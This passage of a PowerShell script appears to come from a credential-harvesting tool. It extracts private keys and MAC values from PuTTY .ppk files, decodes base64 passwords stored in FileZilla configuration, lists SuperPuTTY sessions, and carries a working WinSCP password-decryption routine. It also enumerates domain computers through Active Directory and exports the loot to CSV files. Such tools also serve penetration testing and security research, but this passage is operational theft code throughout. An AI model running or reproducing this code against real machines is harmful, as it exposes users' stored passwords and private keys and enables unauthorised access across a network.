729 foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) {
730
731 # Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is
732 $PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC"
733
734 $PPKFileObject."Source" = (Hostname)
735
736 # The next several lines use regex pattern matching to store relevant info from the .ppk file into our object
737 $PPKFileObject."Path" = $Path
738
739 $PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {}
740 $PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {}
741 $PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {}
742 $NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {}
743 $PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {}
744 $PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {}
745
746 # Add the object we just created to the array of .ppk file objects
747 [void]$ArrayOfPPKFiles.Add($PPKFileObject)
748
749 }
750
751 if ($ArrayOfPPKFiles.count -gt 0) {
752
753 $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles
754
755 if ($o) {
756 $ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
757 } else {
758 Write-Output "PuTTY Private Key Files (.ppk)"
759 $ArrayOfPPKFiles | Select-Object * | Format-List | Out-String
760 }
761
762 }
763
764} # Process PPK File
765
766function ProcessFileZillaFile($FileZillaXML) {
767
768 # Locate all <Server> nodes (aka session nodes), iterate over them
769 foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) {
770 # Hashtable to store each session's data
771 $FileZillaSessionHash = @{}
772
773 # Iterates over each child node under <Server> (aka session)
774 $FileZillaSession.ChildNodes | ForEach-Object {
775
776 $FileZillaSessionHash["Source"] = $Source
777 # If value exists, make a key-value pair for it in the hash table
778 if ($_.InnerText) {
779 if ($_.Name -eq "Pass") {
780 $FileZillaSessionHash["Password"] = $_.InnerText
781 } else {
782 # Populate session data based on the node name
783 $FileZillaSessionHash[$_.Name] = $_.InnerText
784 }
785
786 }
787
788 }
789
790 # Create object from collected data, excluding some trivial information
791 [void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour))
792
793 } # ForEach FileZillaSession in FileZillaXML.SelectNodes()
794
795 # base64_decode the stored encoded session passwords, and decode protocol
796 foreach ($Session in $ArrayOfFileZillaSessions) {
797 $Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password))
798 if ($Session.Protocol -eq "0") {
799 $Session.Protocol = "Use FTP over TLS if available"
800 } elseif ($Session.Protocol -eq 1) {
801 $Session.Protocol = "Use SFTP"
802 } elseif ($Session.Protocol -eq 3) {
803 $Session.Protocol = "Require implicit FTP over TLS"
804 } elseif ($Session.Protocol -eq 4) {
805 $Session.Protocol = "Require explicit FTP over TLS"
806 } elseif ($Session.Protocol -eq 6) {
807 $Session.Protocol = "Only use plain FTP (insecure)"
808 }
809 }
810
811 if ($o) {
812 $ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation
813 } else {
814 Write-Output "FileZilla Sessions"
815 $ArrayOfFileZillaSessions | Format-List | Out-String
816 }
817
818 # Add the array of FileZilla session objects to the target user object
819 $UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions
820
821} # ProcessFileZillaFile
822
823function ProcessSuperPuTTYFile($SuperPuTTYXML) {
824
825 foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) {
826
827 foreach ($SuperPuTTYSession in $SuperPuTTYSessions) {
828 if ($SuperPuTTYSession -ne $null) {
829
830 $SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session"
831
832 $SuperPuTTYSessionObject."Source" = $Source
833 $SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId
834 $SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName
835 $SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host
836 $SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username
837 $SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs
838 $SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port
839 $SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession
840
841 [void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject)
842 }
843 }
844
845 } # ForEach SuperPuTTYSessions
846
847 if ($o) {
848 $ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation
849 } else {
850 Write-Output "SuperPuTTY Sessions"
851 $ArrayOfSuperPuTTYSessions | Out-String
852 }
853
854 # Add the array of SuperPuTTY session objects to the target user object
855 $UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions
856
857} # ProcessSuperPuTTYFile
858
859####################################################################################
860####################################################################################
861## WinSCP Deobfuscation Helper Functions
862####################################################################################
863####################################################################################
864
865# Gets all domain-joined computer names and properties in one object
866function GetComputersFromActiveDirectory {
867
868 $strCategory = "computer"
869 $objDomain = New-Object System.DirectoryServices.DirectoryEntry
870 $objSearcher = New-Object System.DirectoryServices.DirectorySearcher
871 $objSearcher.SearchRoot = $objDomain
872 $objSearcher.Filter = ("(objectCategory=$strCategory)")
873
874 $colProplist = "name"
875
876 foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
877
878 return $objSearcher.FindAll()
879
880}
881
882function DecryptNextCharacterWinSCP($remainingPass) {
883
884 # Creates an object with flag and remainingPass properties
885 $flagAndPass = "" | Select-Object -Property flag,remainingPass
886
887 # Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions
888 $firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16)
889 $secondval = "0123456789ABCDEF".indexOf($remainingPass[1])
890
891 $Added = $firstval + $secondval
892
893 $decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256
894
895 $flagAndPass.flag = $decryptedResult
896 $flagAndPass.remainingPass = $remainingPass.Substring(2)
897
898 return $flagAndPass
899
900}
901
902function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) {
903
904 $CheckFlag = 255
905 $Magic = 163
906
907 $len = 0
908 $key = $SessionHostname + $SessionUsername
909 $values = DecryptNextCharacterWinSCP($Password)
910
911 $storedFlag = $values.flag
912
913 if ($values.flag -eq $CheckFlag) {
914 $values.remainingPass = $values.remainingPass.Substring(2)
915 $values = DecryptNextCharacterWinSCP($values.remainingPass)
916 }
917
918 $len = $values.flag
919
920 $values = DecryptNextCharacterWinSCP($values.remainingPass)
921 $values.remainingPass = $values.remainingPass.Substring(($values.flag * 2))
922
923 $finalOutput = ""
924 for ($i=0; $i -lt $len; $i++) {
925 $values = (DecryptNextCharacterWinSCP($values.remainingPass))
926 $finalOutput += [char]$values.flag
927 }
928
929 if ($storedFlag -eq $CheckFlag) {
930 return $finalOutput.Substring($key.length)
931 }
932
933 return $finalOutput
934
935}